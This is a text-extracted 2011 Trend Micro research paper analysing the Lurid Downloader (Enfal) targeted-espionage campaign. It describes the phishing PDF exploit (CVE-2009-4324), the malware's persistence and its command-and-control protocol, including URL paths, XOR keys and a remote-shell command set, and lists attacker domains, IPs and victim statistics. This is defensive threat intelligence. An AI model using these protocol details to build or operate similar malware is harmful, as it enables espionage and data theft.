with speci c victims. While some campaigns resulted in numerous victims, others were very speci c and targeted resulting in only one or two victims. While previous Enfal activity has been typically associated with threat actors in China, it remains unclear who is behind the Lurid Downloader attacks. 3 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS INTRODUCTION Prior to the highly publicized Aurora attack on Google in late 2009, which also affected at least 20 other companies, there was little public awareness regarding targeted malware attacks1. However, such attacks have been taking place for years and continue to affect government, military, corporate, educational, and civil society networks today. While such attacks against the U.S. government and related networks are now fairly well-known, other governments and an increasing number of companies are facing similar threats. Russia and other countries in the Commonwealth of Independent States are also being targeted and compromised. These countries have an expertise in the space industry and also have operations in oil & gas, mining and other industry areas that have been targeted by malware attacks in the past. Malware attacks that exploit vulnerabilities in popular software in order to compromise speci c target sets are becoming increasingly commonplace. These attacks are not automated or indiscriminate nor are they conducted by opportunistic amateurs. Known as targeted malware attacks, these attacks refer to computer intrusions staged by threat actors that aggressively pursue and compromise speci c targets. Targeted malware attacks are typically part of broader campaigns, a series of failed and success compromises, by speci c threat actors and not isolated attacks. However, the speci city of the attacker s prior knowledge of the victim affects the level of targeting associated with a single attack. As a result, some attacks appear to be less precise, or noisy , and are aimed at a broader community. Such spear phishing attacks are usually directed toward a group of people with a commonality as opposed to a speci c target but are useful for gaining an initial foothold in a future target of interest2. The malware used in the Lurid Downloader attacks is commonly known as Enfal and it has been used in targeted attacks as far back as 20063. In 2008, Maarten Van Horenbeeck documented a series of targeted malware attacks that made use the Enfal Trojan to target non-governmental organizations, non-governmental organizations (NGOs) as well as defense contractors and U.S. government employees4. In 2009 and 2010, researchers from the University of Toronto published reports on two cyberespionage networks known as GhostNet and ShadowNet that included malware and command and control infrastructure connected with the Enfal Trojan5. The domain names used by Enfal as command and control servers are, according to U.S. diplomatic cables leaked to Wikileaks, linked to a series of attacks known as Byzantine Hades. According to these leaked cables, the activity of this set of threat actors has been ongoing since 2002 and is known as Byzantine Hades , and there are subsets of this activity known as Byzantine Anchor, Byzantine Candor and Byzantine Foothold 6. However, it is important to note that other than the use of Enfal itself, there appears to be several distinct sets of command and control infrastructure in use and the relationship among the threat actors operating these separate infrastructures remains unclear. The Lurid Downloader attacks appear to be another separate, but related Enfal network with a geographic focus. While there is clear evidence that the Tibetan community is also target, the victims of this attack are concentrated in Russia and other CIS countries. Numerous embassies and government ministries have been compromised as well as research institutions and agencies related to the space industry. 4 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS Our investigation began with an analysis of the Lurid Downloader malware. Our objective was to document its functionality and map out its command and control network. While this malware family is well known, there appear to be various associated threat actors using it to compromise targets in various geographic locations. Similar versions of this malware have been used to target both the U.S. government and NGO s in the past. We could nd no direct links between this particular command and control network and the previously discovered ones; we believe that it is most likely a separate, but related network as they appear to each have a regional focus. We uncovered a command and control network that consists of 15 domains names and 10 IP addresses. We were able to retrieve a listing of the compromised computers connecting to these servers. In total, we found 1465 unique hosts (Hostname + Mac address as stored by the C&C) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union). We were able to use reverse DNS and WHOIS lookups to determine the identity of 47 compromised hosts. From the victims we were able to identify, there were concentrations of government ministries and diplomatic missions as well as spacerelated government agencies, companies and research institutions. We found that the attackers embedded campaign codes inside the malware they propagated in order to keep track of the success of their campaigns. In total, we found 301 campaign codes and there are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at speci c countries or regions. In addition, nearly 60% of the campaigns only affected 1 or 2 victims indicating the precision with which the malware campaigns were conducted. 1 For the attacks on Google, see http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 2 http://www.cisco.com/en/US/prod/collateral/vpndevc/ps10128/ps10339/ps10354/targeted_attacks.pdf 3 http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=us&name=TROJ_SHARP.R 4 http://events.ccc.de/congress/2007/Fahrplan/attachments/1008_Crouching_Powerpoint_Hidden_Trojan_24C3.pdf , http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf, http://isc.sans.edu/diary. html?storyid=4177 5 While the domain names are present in the GhostNet report, they are not part of GhostNet but a completely different network of command and control servers that are actually associated with Enfal. http://www.nartv.org/mirror/ghostnet.pdf and http://www.nartv.org/mirror/shadows-in-the-cloud.pdf 6 http://wikileaks.org/cable/2009/04/09STATE32025.html http://cablesearch.org/cable/view.php?id=08STATE116943 and http://www.reuters.com/article/2011/04/14/us-china-usa-cyberespionage-idUSTRE73D24220110414 5 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS ATTACK VECTOR In a typical targeted malware attack, a target typically receives a socially engineered message such as an email or instant message that encourages the target to click on a link or open a le. The links and les sent by the attacker contain malicious code that exploits vulnerabilities in popular software such as Adobe Reader (e.g. pdf s) and Microsoft Of ce (e.g. doc s). The payload of these exploits is malware that is silently executed on the target s computer. This allows the attackers to take control of the computer and obtain data from it. The attackers may then move laterally throughout the target s network and are often able to maintain control over compromised computers for extended periods of time. Ultimately, the attacks locate and ex- ltrate sensitive information from the victim s network. In this case, the delivery mechanism used was an email with a malicious PDF as an attachment. The email had no content, just a subject line and an attachment. The email message was spoofed to appear to be from ohhdl@dalailama.com, the Of of the Dalai Lama and had a subject of Tibetan Losar Event on 6 March 2011 . It also contained an attachment named LOSAR FLYER_edited-3.pdf The email was sent using an email provider called Gawab (gawab.com) which is popular in the Middle East. The server used was info3.gawab.com (66.220.20.18) and the email address was emb107@gawab.com. The originating IP address was: 96.46.11.88 (INTERNETXTUSA). While this IP address is assigned to the US, it is used by a VPN provider in China7. If the attached PDF is opened with older versions of Adobe reader, malicious code is executed that drop malware on the target s system. The malware then connects to a command and control server under the attacker s control. At this time, the target computer is compromised and under the full control of the attackers. 7 http://www.ldvpn.cn/us-dongtai.html MALWARE File Name Detection 322fcf1b134fef1bae52fbd80a373ede LOSAR_FLYER_edited-3.pdf TROJ_PIDIEF.SMZX This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2). File Name Detection 84d24967cb5cbacf4052a3001692dd54 ctfmon.exe TROJ_MECIV.A This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE-2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2). 6 | R ESEARCH PAPER File Name Detection 3447416fbbc65906bd0384d4c2ba479e mspmsnsr.dll[chars] TROJ_MECIV.A THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS After successful exploitation, two malware components are created. One is a dropper (ctfmon.exe) that installs a windows service. The service loads the dropped dll mspmsnsr.dll. The malicious Windows service stores its guration settings in the registry: HKLM\SYSTEM\CurrentControlSet\Services\WmdmPmSp\Parameters This malware identi es itself as version 2.14. During the course of our investigation, we discovered another version of the malware that identi es itself as version 2.15. File Name Detection 856de08a947a40e00ea7ed66b8e02c53 isssync.exe WORM_OTORUN.TMP Instead of a Windows service, version 2.15 is just a single executable that copies itself to the system folder and ensures persistence by changing the common start folder of windows to a special one it creates. It then copies all the usual auto-start items there, as well as itself. The existence of this folder is constantly checked and redone if the user or any program switches it back to normal. The Trojan collects information from the computer and sends it via HTTP POST. The information it collects is the following: Computer name MAC address computer OS and version IP address and codepage language of the operating system. It constantly communicates with a C&C server to perform certain info-stealing tasks. The main feature of the Trojan is that all communication is started by the client by http. Firewalls and other security devices will never see any communication from outside in. Even the interactive command line is built this way so everything is done from the inside out. The communication is always encrypted although it s a simple XOR singlebyte encryption. This means that network security devices won t readily see anything suspicious going on. 7 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS COMMUNICATION WITH THE COMMAND AND CONTROL SERVER When malware is executed on the target s system it checks in with one or more servers under the control of the attackers. Command and control mechanisms allow the threat actors to con rm that an attack has succeeded in addition to supplying them with some information about the target s computer and network. From here on, the client communicates back to the control server expecting a command, allowing the attackers to issue commands to the compromised target. All of the connections to the command and control servers use the HTTP protocol and request speci c URL paths. On startup, the malware connects to the command and control server and requests the path /trandocs/mm/ (the path may differ with other samples, for example httpdocs/mm/ or /iupw82/netstate ). This appears to be a LOGIN connection and the server always responds with . The data transmitted to the command and control server consists of the following: Encrypted Password/:/ : (sys32time.ini exists? Is it 1Mb or bigger?) (ipop.dll exists?) (always n in our samples) (2.14 or 2.15) The encrypted password at the beginning of the LOGIN packet only appears on version 2.15. The sample we analyzed contains the password hallelujah and it is encrypted with ADD +FAh . The earlier version, 2.14, does not contain a password at all. After the initial connection, the malware makes two kinds of connections to the command and control server every 2 minutes. The rst connection is a KEEPALIVE connection to the URL path /cgl-bin/Owpq4.cgi . The malware posts information to the command and control server that identi es the compromised machine: OS and version, campaign ID and malware version. The second connection is an ASKCMD connection to a URL with the path /trandocs/mm/ :/Cmwhite The contents of Cmwhite contain commands that are sent by the attackers to the compromised computer. The range of possible commands will be discussed below. When the command le, Cmwhite is downloaded, the malware rst acknowledges the receipt of the command by issuing an ACKCMD connection to /cgl-bin/Clnpp5.cgi Once the command is interpreted and performed, the malware issues a CMDDONE request to /cgl-bin/Rwpq1.cgi . It contains the results of the command and, if relevant, a result code that indicates any error encountered. When there is no command set by the attackers for the victim computer, the command and control server returns a 404 NOT FOUND error page. This is never interpreted correctly as a command and therefore ignored. 8 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS COMMANDS The command packet that is contained within the Cmwhite response is encrypted. In the samples we analyzed, it is encrypted with XOR 45h. Other communication packets observed suggest that there are other keys in use but they are always a single byte. Once decrypted, this is what a command packet contains: First two bytes: 40 40. (This is just a magic number). Third byte: Command code. Fourth byte: Return code. (This only used in the CMDDONE packet to indicate error/success). From the Fifth byte on, the command carries parameters, which vary depending on the nature of the command. The range of commands available to the attackers that are enumerated below demonstrate the level of control the attackers have over their victims. In addition to functionality that allows the attackers to send and receive les, they are able to activate an interactive remote shell on compromised systems. Range of commands 9 | R ESEARCH PAPER Command 01 ECHO It echoes back the word contained in bytes 5 and 6. There s another parameter, which is supposed to contain the string ibme54 . If this is right, it keeps an internal counter of how many of these ECHO packets, it has received. Command 02 IPOP LOAD CHECK It checks if the previous check for the le c:\windows\system32\ipop. dll was successful. It returns a y/n condition. Command 03 SEND FILE When the client receives this command, it retrieves a le and sends it to the C&C server. The lename is a parameter in the command packet. Command 04 RECV FILE This command has two parameters, the lename and the data. The client creates the le with the data in the packet. It does this by constantly communicating with a Ufwhite URL. This URL is accessed repeatedly in order to keep receiving chunks of the data le and appending it to the le. When there s no more data, the le is closed and operation is nished. After each packet is correctly received, the client sends a report packet to Clnpp5.cgi specifying that it was Ufwhite who started this operation. Command 05 CMDEXEC It accepts a single command and executes it in the victim system. Command 06 DELETE FILE It accepts a lename string as a parameter. It deletes the Command 07 MOVE FILE It accepts two lenames. It moves the le from source to target destination. Command 09 When the client receives this command, its proceeds to list the within a speci ed directory and sends the list back in a response packet. Command 0A When the client receives this command, it stays in interactive mode. It starts connecting to Clnpp5.cgi expecting a command. These commands are then executed and error codes sent straight away until an exit command is received. The interactive commands have a special tag to set them apart from regular commands. This tag is 1234 . The way this interactive system is implemented is the INTERACTIVE MODE following: The command is run in the same way as command 05 but the output is redirected to a le (c:\Documents and Settings\\ SendTo\msacm.dat). The contents of the le are then sent in the return packet to Clnpp5.cgi. Once the exit command has been received, this mode is interrupted. While this mode is going on, the Trojan still sends keepalive and regular command requests packets. THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS Command 0B MKDIR The client creates a directory Command 0E TERMINATE PROCESS The client tries to terminate a given thread in the system. Command 10 EXEC NFAL When this command is received, the client tries to execute the le c:\ windows\system32\nfal.exe. This le does not exist on an infected system normally so it must be a placeholder for a command uploaded to the victim. Command 40 PING When this command is received, the Trojan just sends back an empty packet with a success code condition. TOOL MARKS The terms tool marks refers to characteristics contained within malware that indicate that they are part of the same campaign or related to speci c threat actors8. In this case, the attackers left the PDB path in the malware samples we analyzed which indicate the name of the project: e:\programs\LuridDownLoader\LuridDownloader for Falcon\DllServiceTrojan\Release\DllServiceTrojan.pdb e:\programs\LuridDownLoader\LuridDownloader for Falcon\ServiceDll\Release\ ServiceDll.pdb We named this campaign of targeted attacks Lurid DownLoader based on the project name the attackers have given to their own malware. 8 http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfd&t=ebba8420c261102635de4d20bdd772f2 COMMAND AND CONTROL INFRASTRUCTURE Attackers often maintain a network of command and control servers, not just a single one. Often, the malware used in targeted attacks contains one or more command and control locations. By linking together the domain names that are present in related malware samples, along with domain names registered by the same email address and domain names hosted on the same web servers we were able to map out the command and control infrastructure of the attackers. In total, we found 15 domain names associated with the attackers and 10 active IP addresses. The domain names were registered by two different email addresses bruce_tuner@yahoo.com and icqmaster@163.com 10 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS DOMAINS REGISTRATIONS mailru-vip.com yandex-vip.com google-of ceonline.com ce-helppane.com foxit-pro.com ymail-vip.com ymail-pro.com yandex-pro.com google-of ce.com mailru-pro.com xiaohu wang bruce_tuner@yahoo.com +86.01089464156 fax: +86.01089464156 bei jing shi beijing beijing 102600 hoticq.com redhag.com zadhc.com lasmail.com hotoicq.com jason bush icqmaster@163.com +86.01062311307 fax: +86.01062311307 No.20 Xueyuan Road,Haidian District,Beijing beijing beijing 100083 Rather than use the root domains, the attackers use a variety of sub-domains. These various sub-domains resolve to 10 different IP address spread across 3 different IP address ranges assigned to 2 providers: Krypt Technologies in the U.S. and UK2/100mb in the U.K. Additional malware samples that connect to this command and control infrastructure are: 11 | R ESEARCH PAPER Domain IP ADDRESS ed69041fbe470fe0f2c1fd837efcb6e7 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 d66948e4e90baff08d24c77c93788597 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 2d93cbe969d3b5f02d4f9f1a3eb39b85 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 465ca2eef82b412949eeaa9fa3cc5c75 setup.mailru-vip.com 109.123.126.143 e1833932053171da15c60e6c2fca708a superkiller.mailru-vip.com sexinsex.ymail-vip.com 109.123.126.156 e38ccff8e7fb922fe48b54b4032fec50 setup.mailru-vip.com 109.123.126.143 (184.95.36.75) 744670ca4531f7ceb72a75ae456e8215 microsoft.of ce-helppane.com 109.123.126.151 f0f31112af491f56af7cc0802ba96c0f microsoft.of ce-helppane.com win.foxit-pro.com update.ymail-vip.com 109.123.126.151 106.123.126.151 2a21eb36cc2a0a24149a4821aa328b7b microsoft.of ce-helppane.com 109.123.126.151 5403e0bda1db72e5e862e9169db4e1d7 led.of ce-helppane.com 174.139.13.122 (184.95.36.75) 57d99d67c3e8987e812c9332d6774794 press.foxit-pro.com 963e39d8675b5bb3d2f4e6da45c51bb0 press.mailru-pro.com (184.22.240.174) 166d6cd28c9df20c30fed220a3132345 press.ymail-pro.com 46.23.67.226 89b98f66650cb29d0926713fda3b5bbc press.ymail-pro.com 46.23.67.226 (184.22.251.12) THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS d8815fe64eb5321add412554908da28a help.lasmail.com 109.123.126.157 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 109.123.126.157 (58.64.149.29) 140c69ea9a963100e75497b33820f1da help.lasmail.com 109.123.126.157 (204.12.197.70) 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 204.12.197.70 109.123.126.157 (58.64.149.29) 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 140c69ea9a963100e75497b33820f1da help.lasmail.com 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 109.123.126.157 (204.12.197.70) 204.12.197.70 COMPROMISED ORGANIZATIONS After mapping out and monitoring the command and control network used in this campaign we were able to retrieve a listing of the compromised computers connecting to these servers. This list of compromised computers contains 1465 unique hosts (Hostname + Mac address as stored by the C&C) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union). There were also signi cant numbers of compromises in Vietnam, India, Mongolia and China. In total, there were victims in 61 different countries. The data covers compromised computers that connected to the command and control servers in June and July 2011. The top 10 countries of victims (based on the 2272 IP addresses) are: 12 | R ESEARCH PAPER 1063 THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS MALWARE CAMPAIGNS As noted earlier, there is a unique identi er built in to instances of the malware sent out by the attackers that allows them to keep track of the computers compromised by speci c campaigns. In total, we found 301 campaign codes. This means that the attackers sent out at least 301 different instances of the Lurid Downloader. There are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at speci c countries or regions. Campaign Count Countries strong All 68 of the compromised counters were in Vietnam. ejun0708 5 in Russia, 3 in Ukraine and 1 each in Czech Republic, Kazakhstan, Switzerland, Tajikistan and Belarus ejun0614 27 in Russia, 3 in China, 3 in Kyrgyzstan, 2 in Tajikistan and 1 each in UK, US, S. Korea, Czech republic, Pakistan, Germany and Kazakhstan. strongNewDns All 34 of the compromised counters were in Vietnam. ejun0509 31 in Russia, 1 in Ukraine ejun0511 21 in Russia, 4 in Ukraine, 2 in Kazakhstan, and 1 each in Czech Republic and Azerbaijan 7-28 24 in Vietnam and one each in UAE, Cambodia ,Thailand and China ejun0503 23 in Russia and 1 each in Ukraine and Czech Republic 0dayaug12.exe 20 in Belarus and 2 in Kazakhstan C:\WINDOWS\ system32\desp.exe 12 in US, 5 in Russia, 3 in The Netherlands, and 1 each in Switzerland and the European Union. There were also speci c campaigns that affected a very small number of victims. In fact, nearly 60% (59.4%) of all the campaigns affected only 1 or 2 victims. There were 115 campaigns that only compromised 1 victim and 64 campaigns that only compromised 2 victims. This indicates the precision in malware campaigns that target speci c entities. 13 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS NOTEWORTHY COMPROMISED ORGANIZATIONS We were able to use reverse DNS queries and WHOIS lookups to determine the identity some of the compromised hosts. There are high pro le diplomatic organizations that have been compromised as well as agencies relating to space and research institutions. 14 | R ESEARCH PAPER Country Sector Date Camapign France Sat Jun 18 10:22:22 2011 0dayjun14.exe Switzerland Mon Jul 11 11:28:02 2011 LOGO076 MEDIA Thu Jun 16 08:18:44 2011 0dayapr13.exe Germany SPACE Mon Jun 20 09:43:48 2011 Spain SPACE Mon Jul 4 11:38:35 2011 6-27 Russia Tue Jun 7 12:15:34 2011 lh0603hy Russia Mon Jul 11 07:17:46 2011 ejun0708 Russia Tue Jun 28 00:54:16 2011 110608 Russia SPACE/GOV Wed Jul 13 04:21:20 2011 aoo526pdf Russia SPACE Wed Jul 13 07:14:38 2011 winupdate712 Russia SPACE Mon Jul 25 08:43:40 2011 Russia SPACE Wed Jul 13 02:45:59 2011 coo328xls Russia RESEARCH/GOV Wed Jul 13 06:06:06 2011 aoo0516pdf Russia RESEARCH Wed Jul 20 12:01:00 2011 6-27 Russia RESEARCH Mon Jul 11 07:38:14 2011 winupdate0706 Russia RESEARCH Tue Jun 14 08:09:23 2011 110303 Russia RESEARCH Wed Jul 13 02:46:24 2011 coo0609doc Russia RESEARCH Wed Jul 13 02:47:33 2011 sat0608old Russia RESEARCH Tue Jun 14 02:49:58 2011 winupdate Russia RESEARCH Tue Jun 14 02:38:52 2011 satellite0608 Russia MEDIA Tue Jun 14 04:25:12 2011 ejun0125 China (Russia) BUSINESS Tue Jun 7 13:17:39 2011 lh0603hy Russia BUSINESS Tue Jun 14 07:28:25 2011 z11apr27aboky Russia Tue Jun 14 11:49:35 2011 z10nov23k Russia POLITICAL PARTY Tue Jun 14 14:05:24 2011 LOGO69 Russia (Ukraine) Mon Jul 4 10:36:46 2011 LOGO704 Turkmenistan Mon Jun 13 07:28:59 2011 0dayjun09.exe Kyrgyzstan Mon Jun 13 07:33:12 2011 0dayjun09.exe Kazakhstan Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan Mon Jun 27 15:15:42 2011 smross.exe THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS Ukraine Wed Jun 22 15:43:26 2011 LOGO615 Kazakhstan Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan Mon Jun 27 15:15:42 2011 smross.exe Ukraine Wed Jun 22 15:43:26 2011 LOGO615 Belarus Thu Jul 14 17:58:48 2011 0dayaug12.exe Germany (Kazakhstan) Tue Jun 21 10:07:49 2011 LOGO621 Austria (Kyrgyzstan) Mon Jun 13 09:34:45 2011 LOGO524 Russia (Tajikistan) Tue Jun 7 12:00:03 2011 lh0526w.exe Kazakhstan Thu Jul 7 05:44:34 2011 LOGO0705 Kyrgyzstan (Kazakhstan) Tue Jul 12 10:57:17 2011 z10dec09UP.exe Kazakhstan (China) Tue Jun 14 08:58:53 2011 LOGO69 Kazakhstan RESEARCH Thu Jun 16 08:24:31 2011 LOGO616 Belarus RESEARCH Wed Jul 13 05:37:40 2011 services712 Armenia RESEARCH Fri Jun 24 07:25:18 2011 LOGO624 Kazakhstan MEDIA Mon Jun 13 08:17:29 2011 z10nov25knb Vietnam Sun Jul 3 09:06:57 2011 strong China BUSINESS Sun Jun 12 06:02:11 2011 lh0517e.exe Uzbekistan Tue Jun 14 05:41:09 2011 0dayjan27 Vietnam Tue Aug 2 12:57:36 2011 7-28 DATA EX-FILTRATION While we were unable to recover the data obtained by the attackers, we were able to collect some of the command issued by the attackers that hint at their objectives. We found that the attackers often issued the command to send a directory listing from speci c directories on the compromised computers back to the command and control server. We also observed the use of the SEND FILE that ordered the compromised computers to compress, split and upload speci les (.rar, .xls, .doc) to the command and control server. However, we were unable to recover the ex- ltrated data. 15 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS ATTRIBUTION Determining who is ultimately behind targeted malware attacks is dif cult as it requires a combination of technical and contextual analysis and the ability to connect disparate pieces of information together over a period of time. Moreover, any one researcher typically does not necessarily have all these pieces of information and must interpret the available evidence. Too often, the determination of attribution is based on easily spoofed evidence such as IP addresses. While many of these attacks are attributed to China, in this case, the IP addresses of the command and control servers were located in the United States and the United Kingdom. However, the registration information of the domain names used indicates that the owners are in China. In either case, the information is not dif cult to manipulate. The use of Enfal , the family of malware to which Lurid Downloader belongs, has been historically linked with threat actors in China. In this case, the attack vector that we were able to analyze was related to the Tibetan community which indicates an association with China. However, China was also a victim of Lurid Downloader. CONCLUSION In this report we have analyzed targeted malware attacks that have compromised sensitive locations in Russia, CIS countries and around the world. The focus of the attacks appears to be on government networks and diplomatic missions as well and research institutions and space related agencies. We found that the attackers engaged in over 300 campaigns and kept careful records of their victims and to what campaign compromised them. Our analysis of the campaigns reveals that attackers engage in attacks that target communities in speci c geographic locations as well extremely targeted campaigns that only affect one or two victims. The precise nature of targeted malware attacks increases the dif culty of defense. With signi cant reconnaissance, and possibly information gained from previously successful incursions into the target s network, the threat actors behind targeted malware attacks are able to customize their attacks to increase the probability of success. Therefore, defenses against targeted malware attacks need to focus on detection and mitigation and not simply on prevention. Through the exposure of the Lurid Downloader network, we aim to enable a better understanding of the extent and frequency of such attacks as well as the challenges that targeted malware attacks pose for traditional defenses. Defensive strategies can be dramatically improved by understanding how targeted malware attacks work as well as trends in the tools, tactics and procedures of the threat actors behind such attacks. By effectively using threat intelligence derived from external and internal sources combined with security tools that empower human analysts, organizations are better positioned to detect and mitigate targeted malware attacks. 16 | R ESEARCH PAPER TREND MICRO TRENDLABSSM Trend Micro Incorporated is a pioneer in secure content and threat management. Founded in 1988, Trend Micro provides individuals and organizations of all sizes with award-winning security software, hardware, and services. With headquarters in Tokyo and operations in more than 30 countries, Trend Micro solutions are sold through corporate and value-added resellers and service providers worldwide. For additional information and evaluation copies of Trend Micro products and services, visit our website at www.trendmicro.com. TrendLabs is Trend Micro s global network of research, development, and support centers committed to 24 x 7 threat surveillance, attack prevention, and timely and seamless solutions delivery. 2011 by Trend Micro, Incorporated. All rights reserved. Trend Micro, the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. THE LURID DOWNLOADER